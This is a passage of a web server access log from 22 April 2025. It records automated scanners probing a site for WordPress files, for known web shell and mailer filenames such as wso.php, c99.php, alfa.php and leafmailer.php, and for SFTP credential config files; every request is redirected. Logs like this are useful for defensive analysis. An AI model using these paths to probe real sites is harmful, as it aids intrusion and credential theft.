"Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:58:30 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:11:59:18 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:08:13 -0400] "GET /wp-includes/blocks/calendar/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:11:15 -0400] "GET /wp-admin/css/colors/blue/wp-crons.wp-admin/css/colors/blue/wp-crons.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:14:19 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:19:24 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 93.185.162.14 - - [22/Apr/2025:12:22:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 135.125.27.249 - - [22/Apr/2025:12:22:58 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:30:58 -0400] "GET /wp-admin/css/colors/light/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:34:42 -0400] "GET /wp-admin/css/colors/modern/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:34:46 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 54.236.1.11 - - [22/Apr/2025:12:35:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 135.125.27.249 - - [22/Apr/2025:12:39:53 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:46:13 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 135.125.27.249 - - [22/Apr/2025:12:49:01 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 143.244.185.159 - - [22/Apr/2025:13:10:58 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 207.211.165.241 - - [22/Apr/2025:13:28:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 43.130.37.243 - - [22/Apr/2025:13:41:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 13.94.89.4 - - [22/Apr/2025:14:05:05 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:19 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 162.19.67.137 - - [22/Apr/2025:14:05:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.96 Safari/537.36" 13.94.89.4 - - [22/Apr/2025:14:05:29 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:34 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:37 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:39 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:42 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:44 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:47 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:49 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:52 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:54 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:56 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:05:59 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:05 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:09 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:13 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:16 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:21 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:24 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:27 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:31 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:35 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:39 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:47 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:52 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:55 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:06:59 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:01 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:04 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:06 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:10 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:12 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:15 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:17 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:19 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:21 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:23 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:27 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:30 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:32 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:34 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:35 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:38 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:40 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:42 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:44 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:47 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:51 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:55 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [22/Apr/2025:14:07:58 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 66.212.18.223 - - [22/Apr/2025:14:14:11 -0400] "GET /static/admin/webupload/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 197.144.59.146 - - [22/Apr/2025:14:54:21 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:54:37 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:54:47 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:54:56 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:55:05 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:55:16 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:55:29 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:55:38 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:55:52 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:56:02 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:56:16 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:56:28 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:56:44 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:56:55 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:57:09 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:57:20 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:57:38 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:57:49 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:02 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:12 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:20 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:27 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:40 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:49 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:58:58 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:06 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:15 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:22 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:30 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:39 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:47 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:14:59:56 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:00:04 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:00:16 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 188.166.250.75 - - [22/Apr/2025:15:00:24 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 197.144.59.146 - - [22/Apr/2025:15:00:26 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 188.166.250.75 - - [22/Apr/2025:15:00:27 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 197.144.59.146 - - [22/Apr/2025:15:00:34 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:00:43 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:00:50 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 192.161.162.179 - - [22/Apr/2025:15:00:58 -0400] "GET /static/admin/webupload/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 197.144.59.146 - - [22/Apr/2025:15:01:00 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:13 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:21 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:29 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:38 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:46 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:01:56 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:02:07 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:02:18 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:02:30 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:02:45 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:03:01 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:03:15 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:03:32 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:03:45 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:04:01 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:04:17 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:04:35 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:15:04:47 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 17.241.75.193 - - [22/Apr/2025:15:31:32 -0400] "GET /instapower/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 208.100.26.249 - - [22/Apr/2025:15:52:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; Pixel 2 XL Build/QQ3A.200705.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36" 43.153.79.218 - - [22/Apr/2025:16:10:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 78.153.199.14 - - [22/Apr/2025:17:28:27 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:29 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:30 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:32 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:35 -0400] "GET /cljntmcz.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:38 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 125.94.144.102 - - [22/Apr/2025:17:28:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 78.153.199.14 - - [22/Apr/2025:17:28:39 -0400] "GET /cnzcsfwm.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:42 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:55 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:56 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:28:57 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:00 -0400] "GET /contact_tpl.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:03 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:05 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:06 -0400] "GET /contentloader1.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:09 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:12 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 78.153.199.14 - - [22/Apr/2025:17:29:17 -0400] 